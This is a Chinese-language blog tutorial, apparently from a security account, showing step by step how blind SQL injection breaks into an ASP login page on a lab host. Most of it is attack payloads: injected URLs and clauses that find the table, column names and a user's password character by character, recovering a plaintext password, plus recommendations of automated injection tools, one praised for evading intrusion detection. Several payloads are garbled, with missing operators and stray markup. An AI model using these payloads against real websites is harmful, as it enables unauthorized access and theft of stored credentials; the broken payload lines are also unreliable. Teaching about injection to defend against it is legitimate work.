黑客如何用 sql 注入攻破一個網站,圖文講解全流程!
(圖片源於網路,侵刪)
參考:https://www.sohu.com/a/217533296_472906,本周的社群正在私聊,不要急~~
SQL注入已經科普很多了,今天我們分享一個案例吧:如何用SQL注入一步步攻破一個網站!
1
一些基礎
sql注入的簡單方法
首先我們在一個具備sql注入漏洞的網站開始實戰測試(實驗網站已經通知修復)前提準備:
網址:http://172.18.3.13:81/login.asp?name
用戶名:admin 密碼:admin
所需sql注入語句
(1)判斷有無注入點
; and 1=1 and 1=2
(2)猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0(select count(*) from *)
and 0(select count(*) from admin) ---判斷是否存在admin這張表
(3)猜帳號數目 如果遇到0
and 0
and 1
(4)猜解欄位名稱 在len( ) 括弧裡面加上我們想到的欄位名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶欄位名稱name)>0)
and 1=(select count(*) from admin where len(_blank>密碼欄位名稱password)>0)
(5)猜解各個欄位的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確
(6)猜解字元
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
and 1=(select top 1 count(*) from Admin where
Asc(mid(pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.
2
判斷有無SQL注入點
開始sql注入
SQL注入漏洞測試:
在正常用戶名admin後增加一個單引號,單擊"登錄"
或在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin"&pass=admin
若出錯,證明沒有對"進行過濾,存在SQL注入漏洞
在正常用戶名admin後增加一個單引號,單擊"登錄"
出錯
在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin"&pass=admin
登錄出錯,證明存在SQL注入漏洞。
3
SQL注入攻擊
1、SQL注入攻擊
構造可以正常運行的目標地址
輸入http://172.18.3.13:81/login.asp?name=admin &pass=admin" and "1=1
原SQL語句為SELECT * FROM data Where uname="admin",條件未變,但接收密碼為admin" and "1=1
登錄失敗
輸入http://172.18.3.13:81/login.asp?pass=admin&name=admin" and 1=1 and "a"="a
原SQL語句為SELECT * FROM data Where uname="admin" and 1=1 and "a"="a"
登錄成功
可以正常運行的目標地址已經構造成功,此時可將1=1部分用SQL查詢語句替代,依次對資料庫表名、表中欄位名、用戶和密碼長度、用戶和密碼進行測試
2、猜解資料庫表名
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (select count(*) from data)>0 and "a"="a
成功,說明數據表名確為data;若不成功,則可反覆測試,直至成功猜出表名
3、猜接資料庫段名
http://172.18.3.13:81/login.asp?pass=admin&name=admin"and (select count(uname) from data)>0 and "a"="a
若用戶名欄位確為uname,則提示登錄成功
同理可猜出密碼欄位為upass
猜測用戶名欄位為name,登錄出錯
猜測用戶名欄位為uname,登錄成功
說明資料庫中用戶名欄位為uname
猜測密碼欄位為upass,登錄成功
說明資料庫中密碼欄位為upass
4、猜解密碼長度
已知有一用戶名為"wucm",首先猜其密碼長度大於1
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)>1)>0 and "a"="a
成功,說明用戶"wucm"的密碼大於1, 繼續猜測密碼長度小於10
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)0 and "a"="a
成功,說明"wucm"的密碼長度小於10位,繼續猜測其密碼長度小於5
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)0 and "a"="a
出錯,說明"wucm"的密碼長度大於5位,繼續猜測其密碼長度大於8位
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)>8)>0 and "a"="a
出錯,說明"wucm"的密碼長度小於8位,繼續猜測其密碼長度等於6位
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)=6)>0 and "a"="a
成功,說明"wucm"的密碼長度為6位
5、猜解密碼
根據前面的測試我們已經知道該用戶的密碼長度位6位,接下來對密碼進行逐位猜測:
首先測試第一位是否為數字
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and mid(upass,1,1)0 and "a"="a
出錯,說明密碼第一位不是數字, 測試是否位字母
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and mid(upass,1,1)>"a")>0 and "a"="a
成功,基本說明密碼第一位是字母, 接下來重複測試,不斷縮小字母範圍,最後確定密碼第一位為字母"w"
http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and mid(upass,1,1)="w")>0 and "a"="a
成功,說明密碼第一位位"w"
同理對6位密碼逐位進行猜測,最後得到密碼為"wcm987"
至此我們就猜測出用戶"wucm"的密碼為"wcm987",進行登陸測試:
登錄成功,證明整個猜測過程和最後得出的密碼都是正確的。
4
常見SQL注入工具推薦
1.Sqlmap
Sqlmap是一個自動SQL 注入工具。其可勝任執行一個廣泛的資料庫管理系統後端指紋,檢索DBMS資料庫、usernames、表格、列、並列舉整個DBMS信息。Sqlmap提供轉儲資料庫表以及MySQL、PostgreSQL、SQL Server伺服器下載或上傳任何文件並執行任意代碼的能力。
2.BSQL Hacker
BSQL Hacker是由Portcullis實驗室開發的,BSQL Hacker 是一個SQL自動注入工具(支持SQL盲注),其設計的目的是希望能對任何的資料庫進行SQL溢出注入。 BSQL Hacker的適用群體是那些對注入有經驗的使用者和那些想進行自動SQL注入的人群。BSQL Hacker可自動對Oracle和MySQL資料庫進行攻擊,並自動提取資料庫的數據和架構。
3.The Mole
The Mole是一款開源的自動化SQL注入工具,其可繞過IPS/IDS(入侵防禦系統/入侵檢測系統)。只需提供一個URL和一個可用的關鍵字,它就能夠檢測注入點並利用。The Mole可以使用union注入技術和基於邏輯查詢的注入技術。The Mole攻擊範圍包括SQL Server、MySQL、Postgres和Oracle資料庫。
以上:希望有些幫助!
在分享一個小遊戲,歡迎分享轉發喲!
歡迎來到安全犀牛
領取你的人生成績單
![](https://pic.pimg.tw/zzuyanan/1488615166-1259157397.png)
![](https://pic.pimg.tw/zzuyanan/1482887990-2595557020.jpg)
TAG:安全犀牛 |